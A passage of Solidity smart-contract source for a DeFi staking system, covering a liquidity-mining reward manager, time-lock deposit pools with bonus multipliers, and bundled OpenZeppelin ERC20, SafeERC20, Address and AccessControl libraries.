accountClaimedRewards: escrowPool.withdrawnRewardsOf(_account),
accountTotalDeposit: escrowPool.getTotalDeposit(_account),
accountPoolShares: escrowPool.balanceOf(_account),
weight: 0,
deposits: new Deposit[](escrowPool.getDepositsOfLength(_account))
});
TimeLockPool.Deposit[] memory deposits = escrowPool.getDepositsOf(_account);
for(uint256 j = 0; j < result.escrowPool.deposits.length; j ++) {
TimeLockPool.Deposit memory deposit = deposits[j];
result.escrowPool.deposits[j] = Deposit({
amount: deposit.amount,
start: deposit.start,
end: deposit.end,
multiplier: escrowPool.getMultiplier(deposit.end - deposit.start)
});
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./interfaces/IMultiRewardsBasePool.sol";
import "./base/TokenSaver.sol";
contract MultiRewardsLiquidityMiningManager is TokenSaver {
using SafeERC20 for IERC20;
bytes32 public constant GOV_ROLE = keccak256("GOV_ROLE");
bytes32 public constant REWARD_DISTRIBUTOR_ROLE = keccak256("REWARD_DISTRIBUTOR_ROLE");
uint256 public MAX_POOL_COUNT = 10;
IERC20 immutable public reward;
address immutable public rewardSource;
uint256 public rewardPerSecond; //total reward amount per second
uint256 public lastDistribution; //when rewards were last pushed
uint256 public totalWeight;
mapping(address => bool) public poolAdded;
Pool[] public pools;
struct Pool {
IMultiRewardsBasePool poolContract;
uint256 weight;
}
modifier onlyGov {
require(hasRole(GOV_ROLE, _msgSender()), "LiquidityMiningManager.onlyGov: permission denied");
_;
}
modifier onlyRewardDistributor {
require(hasRole(REWARD_DISTRIBUTOR_ROLE, _msgSender()), "LiquidityMiningManager.onlyRewardDistributor: permission denied");
_;
}
event PoolAdded(address indexed pool, uint256 weight);
event PoolRemoved(uint256 indexed poolId, address indexed pool);
event WeightAdjusted(uint256 indexed poolId, address indexed pool, uint256 newWeight);
event RewardsPerSecondSet(uint256 rewardsPerSecond);
event RewardsDistributed(address _from, uint256 indexed _amount);
constructor(address _reward, address _rewardSource) {
require(_reward != address(0), "LiquidityMiningManager.constructor: reward token must be set");
require(_rewardSource != address(0), "LiquidityMiningManager.constructor: rewardSource token must be set");
reward = IERC20(_reward);
rewardSource = _rewardSource;
}
function addPool(address _poolContract, uint256 _weight) external onlyGov {
distributeRewards();
require(_poolContract != address(0), "LiquidityMiningManager.addPool: pool contract must be set");
require(!poolAdded[_poolContract], "LiquidityMiningManager.addPool: Pool already added");
require(pools.length < MAX_POOL_COUNT, "LiquidityMiningManager.addPool: Max amount of pools reached");
// add pool
pools.push(Pool({
poolContract: IMultiRewardsBasePool(_poolContract),
weight: _weight
}));
poolAdded[_poolContract] = true;
// increase totalWeight
totalWeight += _weight;
// Approve max token amount
reward.safeApprove(_poolContract, type(uint256).max);
emit PoolAdded(_poolContract, _weight);
}
function removePool(uint256 _poolId) external onlyGov {
require(_poolId < pools.length, "LiquidityMiningManager.removePool: Pool does not exist");
distributeRewards();
address poolAddress = address(pools[_poolId].poolContract);
// decrease totalWeight
totalWeight -= pools[_poolId].weight;
// remove pool
pools[_poolId] = pools[pools.length - 1];
pools.pop();
poolAdded[poolAddress] = false;
// Approve 0 token amount
reward.safeApprove(poolAddress, 0);
emit PoolRemoved(_poolId, poolAddress);
}
function adjustWeight(uint256 _poolId, uint256 _newWeight) external onlyGov {
require(_poolId < pools.length, "LiquidityMiningManager.adjustWeight: Pool does not exist");
distributeRewards();
Pool storage pool = pools[_poolId];
totalWeight -= pool.weight;
totalWeight += _newWeight;
pool.weight = _newWeight;
emit WeightAdjusted(_poolId, address(pool.poolContract), _newWeight);
}
function setRewardPerSecond(uint256 _rewardPerSecond) external onlyGov {
distributeRewards();
rewardPerSecond = _rewardPerSecond;
emit RewardsPerSecondSet(_rewardPerSecond);
}
function distributeRewards() public onlyRewardDistributor {
uint256 timePassed = block.timestamp - lastDistribution;
uint256 totalRewardAmount = rewardPerSecond * timePassed;
lastDistribution = block.timestamp;
// return if pool length == 0
if(pools.length == 0) {
return;
}
// return if accrued rewards == 0
if(totalRewardAmount == 0) {
return;
}
reward.safeTransferFrom(rewardSource, address(this), totalRewardAmount);
for(uint256 i = 0; i < pools.length; i ++) {
Pool memory pool = pools[i];
uint256 poolRewardAmount = totalRewardAmount * pool.weight / totalWeight;
// Ignore tx failing to prevent a single pool from halting reward distribution
address(pool.poolContract).call(abi.encodeWithSelector(pool.poolContract.distributeRewards.selector, address(reward), poolRewardAmount));
}
uint256 leftOverReward = reward.balanceOf(address(this));
// send back excess but ignore dust
if(leftOverReward > 1) {
reward.safeTransfer(rewardSource, leftOverReward);
}
emit RewardsDistributed(_msgSender(), totalRewardAmount);
}
function getPools() external view returns(Pool[] memory result) {
return pools;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./base/BasePool.sol";
import "./interfaces/ITimeLockPool.sol";
contract TimeLockPool is BasePool, ITimeLockPool {
using Math for uint256;
using SafeERC20 for IERC20;
uint256 public immutable maxBonus;
uint256 public immutable maxLockDuration;
uint256 public constant MIN_LOCK_DURATION = 10 minutes;
uint256 public constant MAX_LOCK_DURATION = 36500 days;
mapping(address => Deposit[]) public depositsOf;
struct Deposit {
uint256 amount;
uint64 start;
uint64 end;
}
constructor(
string memory _name,
string memory _symbol,
address _depositToken,
address _rewardToken,
address _escrowPool,
uint256 _escrowPortion,
uint256 _escrowDuration,
uint256 _maxBonus,
uint256 _maxLockDuration
) BasePool(_name, _symbol, _depositToken, _rewardToken, _escrowPool, _escrowPortion, _escrowDuration) {
require(_maxLockDuration <= MAX_LOCK_DURATION, "TimeLockPool.constructor: max lock duration must be less than or equal to maximum lock duration");
require(_maxLockDuration >= MIN_LOCK_DURATION, "TimeLockPool.constructor: max lock duration must be greater or equal to mininmum lock duration");
maxBonus = _maxBonus;
maxLockDuration = _maxLockDuration;
}
event Deposited(uint256 amount, uint256 duration, address indexed receiver, address indexed from);
event Withdrawn(uint256 indexed depositId, address indexed receiver, address indexed from, uint256 amount);
function deposit(uint256 _amount, uint256 _duration, address _receiver) external override nonReentrant {
require(_receiver != address(0), "TimeLockPool.deposit: receiver cannot be zero address");
require(_amount > 0, "TimeLockPool.deposit: cannot deposit 0");
// Don't allow locking > maxLockDuration
uint256 duration = _duration.min(maxLockDuration);
// Enforce min lockup duration to prevent flash loan or MEV transaction ordering
duration = duration.max(MIN_LOCK_DURATION);
depositToken.safeTransferFrom(_msgSender(), address(this), _amount);
depositsOf[_receiver].push(Deposit({
amount: _amount,
start: uint64(block.timestamp),
end: uint64(block.timestamp) + uint64(duration)
}));
uint256 mintAmount = _amount * getMultiplier(duration) / 1e18;
_mint(_receiver, mintAmount);
emit Deposited(_amount, duration, _receiver, _msgSender());
}
function withdraw(uint256 _depositId, address _receiver) external nonReentrant {
require(_receiver != address(0), "TimeLockPool.withdraw: receiver cannot be zero address");
require(_depositId < depositsOf[_msgSender()].length, "TimeLockPool.withdraw: Deposit does not exist");
Deposit memory userDeposit = depositsOf[_msgSender()][_depositId];
require(block.timestamp >= userDeposit.end, "TimeLockPool.withdraw: too soon");
// No risk of wrapping around on casting to uint256 since deposit end always > deposit start and types are 64 bits
uint256 shareAmount = userDeposit.amount * getMultiplier(uint256(userDeposit.end - userDeposit.start)) / 1e18;
// remove Deposit
depositsOf[_msgSender()][_depositId] = depositsOf[_msgSender()][depositsOf[_msgSender()].length - 1];
depositsOf[_msgSender()].pop();
// burn pool shares
_burn(_msgSender(), shareAmount);
// return tokens
depositToken.safeTransfer(_receiver, userDeposit.amount);
emit Withdrawn(_depositId, _receiver, _msgSender(), userDeposit.amount);
}
function getMultiplier(uint256 _lockDuration) public view returns(uint256) {
return 1e18 + (maxBonus * _lockDuration / maxLockDuration);
}
function getTotalDeposit(address _account) public view returns(uint256) {
uint256 total;
for(uint256 i = 0; i < depositsOf[_account].length; i++) {
total += depositsOf[_account][i].amount;
}
return total;
}
function getDepositsOf(address _account) public view returns(Deposit[] memory) {
return depositsOf[_account];
}
function getDepositsOfLength(address _account) public view returns(uint256) {
return depositsOf[_account].length;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./base/MultiRewardsBasePool.sol";
import "./interfaces/ITimeLockPool.sol";
contract MultiRewardsTimeLockPool is MultiRewardsBasePool, ITimeLockPool {
using Math for uint256;
using SafeERC20 for IERC20;
uint256 public immutable maxBonus;
uint256 public immutable maxLockDuration;
uint256 public constant MIN_LOCK_DURATION = 30 days;
mapping(address => Deposit[]) public depositsOf;
struct Deposit {
uint256 amount;
uint64 start;
uint64 end;
}
constructor(
string memory _name,
string memory _symbol,
address _depositToken,
address[] memory _rewardTokens,
address[] memory _escrowPools,
uint256[] memory _escrowPortions,
uint256[] memory _escrowDurations,
uint256 _maxBonus,
uint256 _maxLockDuration
) MultiRewardsBasePool(_name, _symbol, _depositToken, _rewardTokens, _escrowPools, _escrowPortions, _escrowDurations) {
require(_maxLockDuration >= MIN_LOCK_DURATION, "TimeLockPool.constructor: max lock duration must be greater or equal to mininmum lock duration");
maxBonus = _maxBonus;
maxLockDuration = _maxLockDuration;
}
event Deposited(uint256 amount, uint256 duration, address indexed receiver, address indexed from);
event Withdrawn(uint256 indexed depositId, address indexed receiver, address indexed from, uint256 amount);
function deposit(uint256 _amount, uint256 _duration, address _receiver) external override nonReentrant {
require(_receiver != address(0), "TimeLockPool.deposit: receiver cannot be zero address");
require(_amount > 0, "TimeLockPool.deposit: cannot deposit 0");
// Don't allow locking > maxLockDuration
uint256 duration = _duration.min(maxLockDuration);
// Enforce min lockup duration to prevent flash loan or MEV transaction ordering
duration = duration.max(MIN_LOCK_DURATION);
depositToken.safeTransferFrom(_msgSender(), address(this), _amount);
depositsOf[_receiver].push(Deposit({
amount: _amount,
start: uint64(block.timestamp),
end: uint64(block.timestamp) + uint64(duration)
}));
uint256 mintAmount = _amount * getMultiplier(duration) / 1e18;
_mint(_receiver, mintAmount);
emit Deposited(_amount, duration, _receiver, _msgSender());
}
function withdraw(uint256 _depositId, address _receiver) external nonReentrant {
require(_receiver != address(0), "TimeLockPool.withdraw: receiver cannot be zero address");
require(_depositId < depositsOf[_msgSender()].length, "TimeLockPool.withdraw: Deposit does not exist");
Deposit memory userDeposit = depositsOf[_msgSender()][_depositId];
require(block.timestamp >= userDeposit.end, "TimeLockPool.withdraw: too soon");
// No risk of wrapping around on casting to uint256 since deposit end always > deposit start and types are 64 bits
uint256 shareAmount = userDeposit.amount * getMultiplier(uint256(userDeposit.end - userDeposit.start)) / 1e18;
// remove Deposit
depositsOf[_msgSender()][_depositId] = depositsOf[_msgSender()][depositsOf[_msgSender()].length - 1];
depositsOf[_msgSender()].pop();
// burn pool shares
_burn(_msgSender(), shareAmount);
// return tokens
depositToken.safeTransfer(_receiver, userDeposit.amount);
emit Withdrawn(_depositId, _receiver, _msgSender(), userDeposit.amount);
}
function getMultiplier(uint256 _lockDuration) public view returns(uint256) {
return 1e18 + (maxBonus * _lockDuration / maxLockDuration);
}
function getTotalDeposit(address _account) public view returns(uint256) {
uint256 total;
for(uint256 i = 0; i < depositsOf[_account].length; i++) {
total += depositsOf[_account][i].amount;
}
return total;
}
function getDepositsOf(address _account) public view returns(Deposit[] memory) {
return depositsOf[_account];
}
function getDepositsOfLength(address _account) public view returns(uint256) {
return depositsOf[_account].length;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface IMultiRewardsBasePool {
function distributeRewards(address _reward, uint256 _amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
contract TokenSaver is AccessControlEnumerable {
using SafeERC20 for IERC20;
bytes32 public constant TOKEN_SAVER_ROLE = keccak256("TOKEN_SAVER_ROLE");
event TokenSaved(address indexed by, address indexed receiver, address indexed token, uint256 amount);
modifier onlyTokenSaver() {
require(hasRole(TOKEN_SAVER_ROLE, _msgSender()), "TokenSaver.onlyTokenSaver: permission denied");
_;
}
constructor() {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
function saveToken(address _token, address _receiver, uint256 _amount) external onlyTokenSaver {
IERC20(_token).safeTransfer(_receiver, _amount);
emit TokenSaved(_msgSender(), _receiver, _token, _amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControlEnumerable.sol";
import "./AccessControl.sol";
import "../utils/structs/EnumerableSet.sol";
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {grantRole} to track enumerable memberships
*/
function grantRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {revokeRole} to track enumerable memberships
*/
function revokeRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.revokeRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {renounceRole} to track enumerable memberships
*/
function renounceRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.renounceRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {_setupRole} to track enumerable memberships
*/
function _setupRole(bytes32 role, address account) internal virtual override {
super._setupRole(role, account);
_roleMembers[role].add(account);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerable is IAccessControl {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
